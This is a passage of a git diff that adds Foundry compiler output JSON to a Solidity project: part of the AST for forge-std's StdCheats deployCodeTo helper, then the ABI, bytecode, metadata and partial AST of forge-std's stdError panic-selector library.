memory"}],"expression":{"id":6272,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"30846:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":6274,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"30849:4:3","memberName":"etch","nodeType":"MemberAccess","referencedDeclaration":15225,"src":"30846:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":6281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30846:52:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6282,"nodeType":"ExpressionStatement","src":"30846:52:3"},{"assignments":[6284,6286],"declarations":[{"constant":false,"id":6284,"mutability":"mutable","name":"success","nameLocation":"30914:7:3","nodeType":"VariableDeclaration","scope":6306,"src":"30909:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":6283,"name":"bool","nodeType":"ElementaryTypeName","src":"30909:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":6286,"mutability":"mutable","name":"runtimeBytecode","nameLocation":"30936:15:3","nodeType":"VariableDeclaration","scope":6306,"src":"30923:28:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6285,"name":"bytes","nodeType":"ElementaryTypeName","src":"30923:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6293,"initialValue":{"arguments":[{"hexValue":"","id":6291,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30980:2:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"id":6287,"name":"where","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6262,"src":"30955:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6288,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"30961:4:3","memberName":"call","nodeType":"MemberAccess","src":"30955:10:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":6290,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"id":6289,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6260,"src":"30973:5:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"30955:24:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":6292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30955:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"30908:75:3"},{"expression":{"arguments":[{"id":6295,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6284,"src":"31001:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465706c6f79436f6465546f28737472696e672c62797465732c75696e743235362c61646472657373293a204661696c656420746f206372656174652072756e74696d652062797465636f64652e","id":6296,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31010:90:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_b108e15dc33227f7dcfd1bb506d1d48e88a540eadf4c41cd675a882ac84a6d45","typeString":"literal_string \"StdCheats deployCodeTo(string,bytes,uint256,address): Failed to create runtime bytecode.\""},"value":"StdCheats deployCodeTo(string,bytes,uint256,address): Failed to create runtime bytecode."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_b108e15dc33227f7dcfd1bb506d1d48e88a540eadf4c41cd675a882ac84a6d45","typeString":"literal_string \"StdCheats deployCodeTo(string,bytes,uint256,address): Failed to create runtime bytecode.\""}],"id":6294,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"30993:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":6297,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30993:108:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6298,"nodeType":"ExpressionStatement","src":"30993:108:3"},{"expression":{"arguments":[{"id":6302,"name":"where","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6262,"src":"31119:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":6303,"name":"runtimeBytecode","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6286,"src":"31126:15:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6299,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"31111:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":6301,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"31114:4:3","memberName":"etch","nodeType":"MemberAccess","referencedDeclaration":15225,"src":"31111:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":6304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31111:31:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6305,"nodeType":"ExpressionStatement","src":"31111:31:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCodeTo","nameLocation":"30683:12:3","parameters":{"id":6263,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6256,"mutability":"mutable","name":"what","nameLocation":"30710:4:3","nodeType":"VariableDeclaration","scope":6307,"src":"30696:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6255,"name":"string","nodeType":"ElementaryTypeName","src":"30696:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6258,"mutability":"mutable","name":"args","nameLocation":"30729:4:3","nodeType":"VariableDeclaration","scope":6307,"src":"30716:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6257,"name":"bytes","nodeType":"ElementaryTypeName","src":"30716:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":6260,"mutability":"mutable","name":"value","nameLocation":"30743:5:3","nodeType":"VariableDeclaration","scope":6307,"src":"30735:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6259,"name":"uint256","nodeType":"ElementaryTypeName","src":"30735:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":6262,"mutability":"mutable","name":"where","nameLocation":"30758:5:3","nodeType":"VariableDeclaration","scope":6307,"src":"30750:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6261,"name":"address","nodeType":"ElementaryTypeName","src":"30750:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"30695:69:3"},"returnParameters":{"id":6264,"nodeType":"ParameterList","parameters":[],"src":"30782:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6329,"nodeType":"FunctionDefinition","src":"31278:193:3","nodes":[],"body":{"id":6328,"nodeType":"Block","src":"31341:130:3","nodes":[],"statements":[{"assignments":[6313,null],"declarations":[{"constant":false,"id":6313,"mutability":"mutable","name":"status","nameLocation":"31357:6:3","nodeType":"VariableDeclaration","scope":6328,"src":"31352:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":6312,"name":"bool","nodeType":"ElementaryTypeName","src":"31352:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":6325,"initialValue":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e6729","id":6321,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31429:13:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},"value":"log(string)"},{"id":6322,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6309,"src":"31444:2:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6319,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31405:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6320,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31409:19:3","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31405:23:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6323,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31405:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":6316,"name":"CONSOLE2_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5566,"src":"31376:16:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":6315,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"31368:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":6314,"name":"address","nodeType":"ElementaryTypeName","src":"31368:7:3","typeDescriptions":{}}},"id":6317,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31368:25:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6318,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"31394:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"31368:36:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":6324,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31368:80:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"31351:97:3"},{"expression":{"id":6326,"name":"status","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6313,"src":"31458:6:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":6327,"nodeType":"ExpressionStatement","src":"31458:6:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"console2_log_StdCheats","nameLocation":"31287:22:3","parameters":{"id":6310,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6309,"mutability":"mutable","name":"p0","nameLocation":"31324:2:3","nodeType":"VariableDeclaration","scope":6329,"src":"31310:16:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6308,"name":"string","nodeType":"ElementaryTypeName","src":"31310:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31309:18:3"},"returnParameters":{"id":6311,"nodeType":"ParameterList","parameters":[],"src":"31341:0:3"},"scope":6330,"stateMutability":"view","virtual":false,"visibility":"private"}],"abstract":true,"baseContracts":[{"baseName":{"id":5538,"name":"StdCheatsSafe","nameLocations":["24260:13:3"],"nodeType":"IdentifierPath","referencedDeclaration":5537,"src":"24260:13:3"},"id":5539,"nodeType":"InheritanceSpecifier","src":"24260:13:3"}],"canonicalName":"StdCheats","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[6330,5537],"name":"StdCheats","nameLocation":"24247:9:3","scope":6331,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":3} \ No newline at end of file diff --git a/contracts/out/StdError.sol/stdError.json b/contracts/out/StdError.sol/stdError.json new file mode 100644 index 000000000..bc0520e60 --- /dev/null +++ b/contracts/out/StdError.sol/stdError.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"arithmeticError","inputs":[],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"assertionError","inputs":[],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"divisionError","inputs":[],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"encodeStorageError","inputs":[],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"enumConversionError","inputs":[],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"indexOOBError","inputs":[],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"memOverflowError","inputs":[],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"popError","inputs":[],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"zeroVarError","inputs":[],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"view"}],"bytecode":{"object":"0x610287610035600b8282823980515f1a60731461002957634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe73000000000000000000000000000000000000000030146080604052600436106100aa575f3560e01c8063986c5f681161007d578063b67689da11610063578063b67689da146100f4578063d160e4de146100fc578063fa784a4414610104575f80fd5b8063986c5f68146100e4578063b22dc54d146100ec575f80fd5b806305ee8612146100ae57806310332977146100cc5780631de45560146100d45780638995290f146100dc575b5f80fd5b6100b661010c565b6040516100c39190610205565b60405180910390f35b6100b6610175565b6100b6610187565b6100b6610199565b6100b66101ab565b6100b66101bd565b6100b66101cf565b6100b66101e1565b6100b66101f3565b604051603260248201526044015b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f4e487b710000000000000000000000000000000000000000000000000000000017905281565b6040516001602482015260440161011a565b6040516021602482015260440161011a565b6040516011602482015260440161011a565b6040516041602482015260440161011a565b6040516031602482015260440161011a565b6040516051602482015260440161011a565b6040516022602482015260440161011a565b6040516012602482015260440161011a565b5f602080835283518060208501525f5b8181101561023157858101830151858201604001528201610215565b505f604082860101526040601f19601f830116850101925050509291505056fea264697066735822122024db02dab2eaea2e84dc0532a2a4099bb25cf20740de214e9b71ffea84411d1664736f6c63430008180033","sourceMap":"162:850:4:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;162:850:4;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x73000000000000000000000000000000000000000030146080604052600436106100aa575f3560e01c8063986c5f681161007d578063b67689da11610063578063b67689da146100f4578063d160e4de146100fc578063fa784a4414610104575f80fd5b8063986c5f68146100e4578063b22dc54d146100ec575f80fd5b806305ee8612146100ae57806310332977146100cc5780631de45560146100d45780638995290f146100dc575b5f80fd5b6100b661010c565b6040516100c39190610205565b60405180910390f35b6100b6610175565b6100b6610187565b6100b6610199565b6100b66101ab565b6100b66101bd565b6100b66101cf565b6100b66101e1565b6100b66101f3565b604051603260248201526044015b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f4e487b710000000000000000000000000000000000000000000000000000000017905281565b6040516001602482015260440161011a565b6040516021602482015260440161011a565b6040516011602482015260440161011a565b6040516041602482015260440161011a565b6040516031602482015260440161011a565b6040516051602482015260440161011a565b6040516022602482015260440161011a565b6040516012602482015260440161011a565b5f602080835283518060208501525f5b8181101561023157858101830151858201604001528201610215565b505f604082860101526040601f19601f830116850101925050509291505056fea264697066735822122024db02dab2eaea2e84dc0532a2a4099bb25cf20740de214e9b71ffea84411d1664736f6c63430008180033","sourceMap":"162:850:4:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;740:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;185:86;;;:::i;461:91::-;;;:::i;277:87::-;;;:::i;831:88::-;;;:::i;654:80::-;;;:::i;925:84::-;;;:::i;558:90::-;;;:::i;370:85::-;;;:::i;740:::-;778:47;;820:4;778:47;;;726:36:155;699:18;;778:47:4;;;;-1:-1:-1;;778:47:4;;;;;;;;;;;;;;;;;;;;740:85;:::o;185:86::-;224:47;;266:4;224:47;;;726:36:155;699:18;;224:47:4;573:195:155;461:91:4;505:47;;547:4;505:47;;;726:36:155;699:18;;505:47:4;573:195:155;277:87:4;317:47;;359:4;317:47;;;726:36:155;699:18;;317:47:4;573:195:155;831:88:4;872:47;;914:4;872:47;;;726:36:155;699:18;;872:47:4;573:195:155;654:80:4;687:47;;729:4;687:47;;;726:36:155;699:18;;687:47:4;573:195:155;925:84:4;962:47;;1004:4;962:47;;;726:36:155;699:18;;962:47:4;573:195:155;558:90:4;601:47;;643:4;601:47;;;726:36:155;699:18;;601:47:4;573:195:155;370:85:4;408:47;;450:4;408:47;;;726:36:155;699:18;;408:47:4;573:195:155;14:554;132:4;161:2;190;179:9;172:21;222:6;216:13;265:6;260:2;249:9;245:18;238:34;290:1;300:140;314:6;311:1;308:13;300:140;;;409:14;;;405:23;;399:30;375:17;;;394:2;371:26;364:66;329:10;;300:140;;;304:3;489:1;484:2;475:6;464:9;460:22;456:31;449:42;559:2;552;548:7;543:2;535:6;531:15;527:29;516:9;512:45;508:54;500:62;;;;14:554;;;;:::o","linkReferences":{}},"methodIdentifiers":{"arithmeticError()":"8995290f","assertionError()":"10332977","divisionError()":"fa784a44","encodeStorageError()":"d160e4de","enumConversionError()":"1de45560","indexOOBError()":"05ee8612","memOverflowError()":"986c5f68","popError()":"b22dc54d","zeroVarError()":"b67689da"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"arithmeticError\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"assertionError\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"divisionError\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"encodeStorageError\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"enumConversionError\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"indexOOBError\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"memOverflowError\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"popError\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"zeroVarError\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdError.sol\":\"stdError\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"arithmeticError","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"assertionError","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"divisionError","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"encodeStorageError","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"enumConversionError","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"indexOOBError","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"memOverflowError","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"popError","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"zeroVarError","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdError.sol":"stdError"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdError.sol","id":6397,"exportedSymbols":{"stdError":[6396]},"nodeType":"SourceUnit","src":"129:884:4","nodes":[{"id":6332,"nodeType":"PragmaDirective","src":"129:31:4","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":6396,"nodeType":"ContractDefinition","src":"162:850:4","nodes":[{"id":6339,"nodeType":"VariableDeclaration","src":"185:86:4","nodes":[],"constant":true,"functionSelector":"10332977","mutability":"constant","name":"assertionError","nameLocation":"207:14:4","scope":6396,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6333,"name":"bytes","nodeType":"ElementaryTypeName","src":"185:5:4","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":{"arguments":[{"hexValue":"50616e69632875696e7432353629","id":6336,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"248:16:4","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},"value":"Panic(uint256)"},{"hexValue":"30783031","id":6337,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"266:4:4","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"0x01"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":6334,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"224:3:4","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6335,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"228:19:4","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"224:23:4","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6338,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"224:47:4","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 